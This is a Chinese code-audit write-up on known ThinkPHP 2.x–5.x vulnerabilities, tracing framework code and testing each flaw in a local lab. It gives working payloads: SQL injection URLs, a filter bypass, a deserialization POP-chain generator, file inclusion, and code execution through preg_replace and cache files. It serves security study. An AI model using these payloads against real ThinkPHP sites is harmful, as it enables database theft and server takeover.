ThinkPHP 代码审计
ThinkPHP代码审计
基础
URL和路由:https://blog.csdn.net/lthirdonel/article/details/88775620
thinkphp内置了几种方法,在ThinkPHP/Common/functions.php
,比如I(),M()等等
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
I http获取参数
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
ThinkPHP 2.x
preg_replace /e模式代码执行漏洞
https://blog.csdn.net/weixin_43749601/article/details/113417093
在2.1版本中存在大量preg_replace()函数使用了/e
模式,如果参数可控,有可能存在任意代码执行漏洞(php<7)
下面的@e
和/e
是一样的
在ThinkPHP/Lib/Think/Util/Dispatcher.class.php
中,Dispatcher类的dispatch方法里
Dispatcher.class.php
文件负责接收用户发送的请求,并根据路由规则将请求分发到相应的控制器(Controller)和方法(Action)。它会解析 URL,并根据定义的路由规则进行匹配,然后确定要执行的控制器和方法。
根据ThinkPHP对路由的解析,对这部分代码进行调试和分析
http://xx.xx.xx.xx/index.php/模块/控制器/操作
http://127.0.0.1/index.php/a/b/c/d
首先,通过 C('URL_MODEL')
获取 URL 的模式,然后根据不同的模式进行不同的处理,这里是默认模式
接下来,如果配置文件中开启了子域名部署(APP_SUB_DOMAIN_DEPLOY
为真),则会根据规则对子域名进行路由处理。这里为false,直接跳过了
然后根据配置文件中的设置获取 URL 的分隔符 (URL_PATHINFO_DEPR
),并调用 getPathInfo()
函数来分析 URL 的 PATHINFO 信息
接下来是路由检测和解析的部分。首先会调用 routerCheck()
函数检测是否有自定义的路由规则。如果没有自定义的路由规则,则按照默认规则进行调度。它会先根据 URL 分隔符将 $_SERVER['PATH_INFO']
进行切割,得到一个路径的数组 $paths
然后到preg_replace函数
在preg_replace()
函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串
上面正则表达式可以简化为\w+/([\^\/])
,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/d');
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行
所以只要构造成这样:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/${phpinfo()}');
访问:http://127.0.0.1/index.php/a/b/c/${phpinfo()}
出现报错
加上@
进行错误抑制即可
后面版本的更新中,preg_replace
被替换了:
输入的${phpinfo()}被当成了字符串被strip_tags()处理了
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=strip_tags(\'\\2\');', implode($depr,$paths));
ThinkPHP 3.x
3.2.3 where 注入
配置控制器和数据库
Application/Home/Controller/IndexController.class.php
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
访问测试:
对传入id=1
,跟着调试看看
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
首先调用了M()方法,大概就是连接数据库,创建Model对象,位置在ThinkPHP/Mode/Lite/Model.class.php
/**
* 实例化一个没有模型文件的Model
* @param string $name Model名称 支持指定基础模型 例如 MongoModel:User
* @param string $tablePrefix 表前缀
* @param mixed $connection 数据库连接信息
* @return Think\Model
*/
function M($name = '', $tablePrefix = '', $connection = '')
{
static $_model = array();
if (strpos($name, ':')) {
list($class, $name) = explode(':', $name);
} else {
$class = 'Think\\Model';
}
$guid = (is_array($connection) ? implode('', $connection) : $connection) . $tablePrefix . $name . '_' . $class;
if (!isset($_model[$guid])) {
$_model[$guid] = new $class($name, $tablePrefix, $connection);
}
return $_model[$guid];
}
结束后调用I()方法,获取和解析http请求GET id的值,这里面调用了下面的方法进行安全过滤
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
然后调用Model()类的find()方法,将传入的id做为参数,又会经过ThinkPHP/Library/Think/Model.class.php
的 _parseOptions()
方法
跟进这个方法:
里面存在字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}
其中_parseType()
函数
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}
在这把id进行了强制类型转换,然后返回给_parseOptions()
,最终带入$this->db->select($options)
进行查询避免了注入问题。
理一下 传入id=1
-> I()
-> find()
-> _parseOptions()
-> _parseType()
然后将我们的字符串清理了。 要知道id参数被改变的时间点在_parseType()
中,那进入这个方法要满足
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
然后使用报错注入
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
3.2.3 exp注入
配置控制器
public function index()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
}
测试
调试:
username=aaa
–> find()
,运行到select()这里
跟进
username=aaa
–> find()
–> select()
,
根进buildSelectSql
username=aaa
–> find()
–> select()
–>buildSelectSql()
没有进入if判断,直接执行parseSql()
,跟进查看
username=aaa
–> find()
–> select()
–>buildSelectSql()
–>parseSql()
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
部分是通过parse
系列函数来构建SQL语句,关注点在parseWhere()
函数,跟进到parseWhere()里面
username=aaa
–> find()
–> select()
–>buildSelectSql()
–>parseSql()
–>parseWhere()
在parseWhere()里无论进行什么操作,都会进入parseWhereItem
,
进入parseWhereItem
username=aaa
–> find()
–> select()
–>buildSelectSql()
–>parseSql()
–>parseWhere()
–> parseWhereItem()
在这个方法里,发现直接拼接
但是需要满足条件才能进入这里
构造payload,调试一下
?username[0]=exp&username[1]=1
成功进入
成功拼接,但是拼接结果是
`username`1
缺少了=
payload
?username[0]=exp&username[1]==1
测试单引号,出现报错
直接报错注入
?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)
在开头的控制器中,使用了
$map = array('username' => $_GET['username']);
而不是
$map = array('username' => I('username'));
因为I()
方法中存在安全过滤,EXP
被过滤了
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
3.2.3 bind注入
控制器配置:这个控制器是指根据id修改对应的password
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
测试:
http://127.0.0.1/index.php?id=1&password=aabb
调试过程:
id=1&password=aabb
–>save()
sava
方法前面进行数据处理,和表达式分析,后面会运行到updata()
跟进查看
id=1&password=aabb
–>save()
–>update()
public function update($data, $options)
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if (strpos($table, ',')) {
// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
if (!strpos($table, ',')) {
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
$sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}
这里看到了熟悉的parseWhere()
,在这之前,$sql = 'UPDATE ' . $table . $this->parseSet($data);
会构建出部分sql语句
但是sql语句是
UPDATE `users` SET `password`=:0
id=1&password=aabb
–>save()
–>update()
–>parseWhere()
–>parseWhereItem()
这里的和上面exp注入差不多,想办法进入bind
分支
和exp注入一样修改get数据后成功进入
?id[0]=bind&id[1]=1&password=admin123
查看拼接后最后sql语句,这里就很有问题,反正我目前还没见过
parseWhere()
执行完后得到了奇怪的sql语句
在执行sql语句前的状态
跟进execute()
查看
id[0]=bind&id[1]=1&password=aabb
–>save()
–>update()
—>execute()
在这条代码里
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind))
array_map()是执行function,$this->bind为function的参数
strtr() 把$this->queryStr字符串里面的
整个过程将
UPDATE `users` SET `password`=:0 WHERE `id` = :1
修改为
UPDATE `users` SET `password`='admin123' WHERE `id` = :1
:0
变成了admin123
,就是$this->bind
,但是:1
没变
如果get的是id[0]=bind&id[1]=0
,sql语句变成
UPDATE `users` SET `password`=:0 WHERE `id` = :0
经过替换后得到最终的sql语句
UPDATE `users` SET `password`='admin123' WHERE `id` = 'admin123'
然后执行
因为整个过程中并没有对id进行过滤,只有一个:0
替换,id[1]=0
后面的拼接没有处理
直接进行报错注入即可
http://127.0.0.1/index.php?id[0]=bind&password=admin123&id[1]=0 and updatexml(1,concat(0x7e,database(),0x7e),1)
3.2.3 order by注入
先在2.3.4跟新的地方,发现parseOrder存在大量跟新,漏洞大概率出现在这
控制器:
public function index(){
$username = I("username");
$order = I("order");
$data = M("users")->where(array("username"=>$username))->order($order)->find();
dump($data);
}
M只是实例化users对象,不管了,where也不是我们的利用点,我们也没对其进行操作,因此也跳过
疑问: order($order)是干嘛的?,只知道是给$order赋值
username=admin&order=1
–>find()
–>select()
–>buildSelectSql()
–>parseSql()
在这里找到了parseOrder
跟进parseOrder
protected function parseOrder($order)
{
if (is_array($order)) {
$array = array();
foreach ($order as $key => $val) {
if (is_numeric($key)) {
$array[] = $this->parseKey($val);
} else {
$array[] = $this->parseKey($key) . ' ' . $val;
}
}
$order = implode(',', $array);
}
return !empty($order) ? ' ORDER BY ' . $order : '';
}
这里首先会判断$order是不是数组,如果不是,返回拼接,如果$order不为空,则拼接ORDER BY
因为没有过滤,造成了sql注入
这里可以直接注入了
?username=admin&order=1 and updatexml(1,concat(0x3a,database()),1)
3.2.3 update注入
看来网上的分析文章,其实就是上面分析的bind注入
3.2.3 delete注入
(感觉还是where注入)
控制器:
public function index(){
$id = I("id");
$res = M("users")->delete($id);
}
id=5
–>delete()
–>delete()
在这个方法里也是调用了一系列的parse方法,去构建sql语句
id=5
–>delete()
–>delete()
–>parseWhere()
–>parseWhereItem()
经过这个方法后会构建出WHERE id=5
尝试直接注入,得到奇怪的语句
id= 5%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
查看parseWhere()
,如果传进的参数如果是字符串,而不是数组,就不会进入else,产生那个奇怪的sql语句
id[where]=5
,这个能进入if判断
然后直接跳转到最后的拼接,得到where 5
然后就进行注入尝试
似乎可以,报错注入
http://127.0.0.1/index.php?id[where]=5 and updatexml(1,concat(0x7e,database(),0x7e),1)
3.2.3 反序列化
(感觉还是sql注入)
控制器:
public function index(){
unserialize(base64_decode($_GET['ser']));
}
先找__destruct
,因为这个魔法方法当反序列化时先调用,全局搜索后,
找到ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}
这个img可以控制
下一步就行找到一个能够调用destroy
的类
在ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}
$this->handle可控,但是这是有参函数,在php7调用有参函数时不传参数会触发框架里的错误处理,切换php5就行
下一步,找到delete()方法,在ThinkPHP/Mode/Lite/Model.class.php
public function delete($options = array())
{
}
这个就是前面分析sql注入的delete方法
里面会调用ThinkPHP/Library/Think/Db/Driver.class.php
的delete方法
public function delete($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
if (strpos($table, ',')) {
// 多表删除支持USING和JOIN操作
if (!empty($options['using'])) {
$sql .= ' USING ' . $this->parseTable($options['using']) . ' ';
}
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
if (!strpos($table, ',')) {
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
$sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}
这里存在一个sql语句直接拼接,而且在前面的分析中没有对参数过滤,可以尝试用反序列化链造成sql注入
在执行sql语句时,会调用initConnect
进行初始化连接
跟进initConnect
,
protected function initConnect($master = true)
{
if (!empty($this->config['deploy']))
// 采用分布式数据库
{
$this->_linkID = $this->multiConnect($master);
} else
// 默认单数据库
if (!$this->_linkID) {
$this->_linkID = $this->connect();
}
}
跟进connect,这个$this->config可控
public function connect($config = '', $linkNum = 0, $autoConnection = false)
{
if (!isset($this->linkID[$linkNum])) {
if (empty($config)) {
$config = $this->config;
}
try {
if (empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
// 禁用模拟预处理语句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
} catch (\PDOException $e) {
if ($autoConnection) {
trace($e->getMessage(), '', 'ERR');
return $this->connect($autoConnection, $linkNum);
} elseif ($config['debug']) {
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
按照思路,构造POP链
__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()
<?php
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "thinkphp", //数据库名
"hostname" => "127.0.0.1", //地址
"hostport" => "3306", //端口
"charset" => "utf8",
"username" => "root", //用户名
"password" => "123456" //密码
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "users where 1 and updatexml(1,concat(0x7e,database(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
3.2.4 CVE-2018-18546(上面Order by注入的绕过)
控制器:
public function index()
{
$obj = M('users');
$res = $obj->where('id=1')->order(I('id'))->select();
echo $obj->getLastSql();//输出sql语句
}
描述:
版本:3.2.4和3.2.5对比
这部分代码是漏洞出现的地方,也就是对order拼接前进行过滤处理的地方
foreach (explode(',', $order) as $val) {
if (preg_match('/\s+(ASC|DESC)$/i', rtrim($val), $match, PREG_OFFSET_CAPTURE)) {
$array[] = $this->parseKey(ltrim(substr($val, 0, $match[0][1]))) . ' ' . $match[1][0];
} elseif (false === strpos($val, '(')) {
$array[] = $this->parseKey($val);
}
这个代码首先将$order进行以逗号,
进行分割为数组,然后遍历这个数组
然后按照不同规则进行处理,
第一个是使用 rtrim
函数去除 $val
右侧的空格,并将结果作为 preg_match
函数的第二个参数。匹配结果将存储在数组 $match
中,然后使用 substr
函数截取出 $val
中 $match[0][1]
之前的部分(即去除了 ASC
或 DESC
部分),然后使用 ltrim
函数去除左侧的空格。使用 $this->parseKey
方法对处理后的部分进行进一步解析,并将结果与匹配到的排序方式(ASC
或 DESC
)拼接成字符串,最后将其添加到数组 $array
中。
第二个是使用 strpos
函数检查 $val
中是否包含左括号 '('
。如果不包含,则执行以下代码块。这里调用了 $this->parseKey
方法对 $val
进行解析,并将解析结果添加到数组 $array
中
确保前面没有过滤后,直接在这段代码进行下断点调试:
输入:?id=updatexml(1,concat(0x7e,database(),0x7e),1)
这个会被分割为
['updatexml(1','concat(0x7e','database()','0x7e)','1)]
经过过滤处理最终满足条件的就只有最后两个
为了让数组中每一位都能满足条件需要进行绕过:存在(
的,使用sql语句中的注释进行绕过,在注释中添加ASC
或者DESC
,使得它走的是第一个if
不存在(
的,适当构建/**/
和,
,为了构造分割和sql语句注释的完整
['updatexml(1','concat(0x7e','database()','0x7e)','1)]
处理后的数组:
['updatexml/*','*/(/*%20ASC','*/1','concat/*','*/(/*%20ASC','*/0x7e','database/*','*/(/*%20ASC','*/)','0x7e)','1)]
最后的payload:
updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,database/*,*/(/*%20ASC,*/),0x7e),1)
成功绕过:
后面就是将order拼接ORDER BY
拼接到sql语句中执行了
3.2.4 CVE-2018-18529
漏洞描述:ThinkPHP 3.2.4存在SQL注入漏洞,该漏洞是由于Library/Think/Db/Driver/Mysql.class.php文件中的parseKey函数对key变量处理不当所致。注意:攻击URI中不需要使用反引号字符
对比官方的修复:
这里是添加了对$key变量的过滤
这个函数在sql相操作中频繁使用 ,下面是完整代码:
protected function parseKey($key, $strict = false)
{
$key = trim($key);
if ($strict || (!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
return $key;
}
首先,代码使用trim函数去除$key的首尾空格,确保处理的字符串没有多余的空白字符。
接下来,通过条件判断语句,检查strict的值和和key的内容,决定是否对$key进行进一步处理。
如果strict为true,或者key不是一个数字,并且不匹配正则表达式(该正则表达式用于检查$key中是否包含逗号、单引号、双引号、星号、括号、反引号、点号或空白字符),则执行下面的代码块。
在这个代码块中key前后分别添加了反引号(‘),形成了一个包裹着key的字符串。这样做是为了在后续的数据库查询中使用$key作为字段名或表名时,确保其被正确解析和识别。
最后,返回经过处理的$key。
可以看到,这个函数无论如何都会返回$key, 说明这里构造恶意的$key也会正常返回
测试:
控制器如下:
public function index()
{
$count = I('get.count');
$m = M('users')->count($count);
echo $m;
}
?count=id
在这个函数断点调试
程序第一次获取到的key是数据库中的表名,并且满足if条件将其添加反引号返回
第二次获取到的是COUNT(id) AS tp_count
直接返回,这个是由于调用count的时候触发ThinkPHP/Library/Think/Model.class.php::__call()
在调用getField
的时候进行的拼接
当执行sql语句前,获取到的sql语句如下:
可以直接根据这个进行构造sql语句进行注入
?count=id) or (select database()
sqlmap:
3.1.3 CVE-2018-10225
(环境出错)
ThinkPHP 5.x
开发手册:https://static.kancloud.cn/manual/thinkphp5/118003
5.0.15 ParseData方法注入
影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
环境安装
composer create-project --prefer-dist topthink/think=5.0.15 thinkphp5.0.15
开启 application/config.php 中的 app_debug 和 app_trace
控制器:
public function index()
{
$name = request()->get('name');
var_dump($name);
// $result = Db::table('test')->insert(['name' => $name,'password'=>'123456']);
$result = db('test')->insert(['name' => $name,'password'=>'123456']);
return dump($result);
}
5.0.15和5.0.16版本对比,发现其修改的 Builder.php 文件代码
调试分析:
name=ww
–>insert
到这里发现另一个insert
方法,这个是生成sql语句的地方,跟进去看看
name=ww -->insert-->insert
在这发现了官方修改的函数parseData
,跟进看看
name=ww -->insert-->insert-->parseData
发现没有进入到跟新的地方,直接往下生成预处理数据
要进入里面,需要满足$val
是数组
可以发现,如果能够进入switch case,这里没有进行预处理,并且是直接拼接返回
尝试传入数组,name[0]=aa,并且把
$name = request()->get('name');
修改为
$name = request()->get('name/a');
表示数据类型转换为数组
这里已经成功进入,按照跟新的地方,这里修改为
name[0]=inc
后面还有$val[1]和$val[2]
所以要添加够参数
name[0]=inc&&name[1]=aaa&&name[2]=bbb
运行返回到第一个insert方法
发现已经拼接好的sql语句,往下就是获取参数绑定和执行了
执行报错了
name[1]=aa改为name[1]=aa’
出现sql语句报错
直接在name[1]进行注入
http://127.0.0.1/index.php?name[0]=inc&&name[1]=updatexml(1,concat(0x7,database(),0x7e),1)&name[2]=aaa
5.1.6 paraArraryData方法注入
影响版本: 5.1.6<=ThinkPHP<=5.1.7
下载环境
composer create-project --prefer-dist topthink/think=5.1.6 thinkphp5.1.6
开启 config/app.php 中的 app_debug 和 app_trace
控制器
public function index()
{
$password = request()->get('password');
db('test')->where(['name' => 'bb'])->update(['password' => $password]);
return 'Update success';
}
和5.1.8版本对比,发现parseArrayData
被删除
很明显的看到上面的parseArrayData是存在直接拼接
传参数调试一下password=123,直接在parseData
进行断点调试,
update()-->update()--parseDate()
不难发现,传入参数不是数组,不能进入switch case里面
所以修改传入的参数
password[0]=1&password[1]=2&password[2]=3
修改控制器为
public function index()
{
$password = request()->get('password/a');
db('test')->where(['name' => 'bb'])->update(['password' => $password]);
return 'Update success';
}
成功进入parseArrayData,跟进
update()-->update()--parseDate()-parseArrayData()
来到了think/db/builder/Mysql.php
的Mysql类,因为这个类继承了Builder类
来到这里,发现$type
必须为point
才能进行后续的拼接
修改传参,因为后面存在第4位数组,所以加多一位
?password[0]=point&password[1]=2&password[2]=3&password[3]=4
拼接后得到结果
返回到
update()-->update()
查看生成的sql语句
可以对password这部分内容进行构造注入
http://127.0.0.1/index.php?password[0]=point&password[1]=1&password[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&password[3]=0
构造的sql语句为
"UPDATE `test` SET `password` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `name` = :where_AND_name "
5.1.6 parseWhereItem方法注入
影响版本: ThinkPHP5全版本
控制器
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username',$username)->select();
var_dump($result);
return 'select success';
}
传入参数调试
username=admin
先进入select(),前面是对参数进行一些分析和处理,里面再调用$this->connection->select()
select()-->connection.select()
跟进查看
找到生成sql语句的地方,在
think\db\Builder->select()
跟进
select()-->connection.select()-->Builder.select()
跟进这个 where 分析函数parseWhere
,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。
select()-->connection.select()-->Builder.select()-->parseWhere()
跟进
select()-->connection.select()-->Builder.select()-->parseWhere()-->buildWhere()
程序会运行到parseWhereItem where子单元分析函数,继续跟进查看
select()-->connection.select()-->Builder.select()-->parseWhere()-->buildWhere()-->parseWhereItem()
关键点就在这里,这里会根据不同的表达式进入不同的函数,
如果$exp=EXP,那么就会进入parseExp
修改控制器
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
这里会出现直接拼接
返回的结果
层层返回,查看目前生成的sql
然后根据这个sql进行拼接
http://127.0.0.1/?username=)%20union%20select%20updatexml(1%2cconcat(0x7e,database()%2c0x7e)%2c1)%23%20
5.1.22 parseOrder方法注入
影响版本: 5.1.16<=ThinkPHP5<=5.1.22
composer create-project --prefer-dist topthink/think=5.1.22 thinkphp-5.1.22
控制器:
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'admin'])->order($orderby)->find();
var_dump($result);
}
官方修复:添加了)
和#
检查
调试,运行到解析函数parseOrder
?orderby=id-->select()
跟进
?orderby=id-->select()-->parseOrder()
先判断$order
是不是为空,就是传入的字符id
然后把它当数组,获取key和val
因为key
是数字0
,运行到 list(...)=...
大概是根据空格将字符串分开,变为数组
然后这里就是关键的地方
正常来说,sort
获取的是order by的排序方式,先把它转为大写,再判断是否在数组里,再拼接
查看生成的sql语句
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id` LIMIT 1
因为没有过滤,可以尝试再id输入这里构造注入
orderby=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
发现这里出现了问题
传入的值在当成数组使用时被分割,以逗号分隔开,最后拼接的只有id`
如果把传入的值本身就是一个数组就能够解决这个问题
?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
最后拼接的结果
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id`,updatexml(1,concat(0x7e,database(),0x7e),1)#` LIMIT 1
5.0.10 cacheFile变量文件包含
控制器:
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错)
官方发布的更新:
查看这个文件的对应位置template/driver/File.php
发现这里可能会存在变量覆盖–>extract(),EXTR_OVERWRITE
模式是默认值,如果有冲突,则覆盖已有的变量
如果 $cacheFile可控,将导致文件包含漏洞出现
随便传入参数调试
调用栈:
File.php:45, think\template\driver\File->read()
Template.php:200, think\Template->fetch()
Think.php:84, think\view\driver\Think->fetch()
View.php:163, think\View->fetch()
Controller.php:120, think\Controller->fetch()
Index.php:31, app\index\controller\Index->index()
App.php:343, ReflectionMethod->invokeArgs()
App.php:343, think\App::invokeMethod()
App.php:595, think\App::module()
App.php:457, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()
到这个read()函数
$var是传入的get参数,这里是数组
然后进入if,执行了extract()函数,使得这个数组变为: $a=1
因为这里的$cacheFile前面控制不了,可以在这里进行变量覆盖修改它的值
传参数试试:
?cacheFile=123
成功修改
在public 目录下写一个phpinfo.php试试,因为网站根目录是这
也可以使用绝对路径
5.0.10 cache缓存函数远程代码执行
控制器:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return Cache::get('name');
}
}
官方修改:
可以看到官方为了不让用户构造的数据执行,在前面加上了exit();
本版本的代码如下
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
直接在这下断点调试
红色方框处是获取文件名,和绝对路径
看一下,文件名生成规则:
protected function getCacheKey($name)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
然后再将传入的数据,即缓存数据进行序列化
这里的 $this->options[‘data_compress’] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。
然后就是进行代码拼接,拼接的是序列化后的值,写入刚刚生成的php文件,虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。
所以构造poc, 其中%0d%0a是回车符和换行符
?username=123%0d%0aphpinfo();//
远程代码执行(1)
该漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生
5.0.7<=ThinkPHP5<=5.0.22
测试环境5.0.10
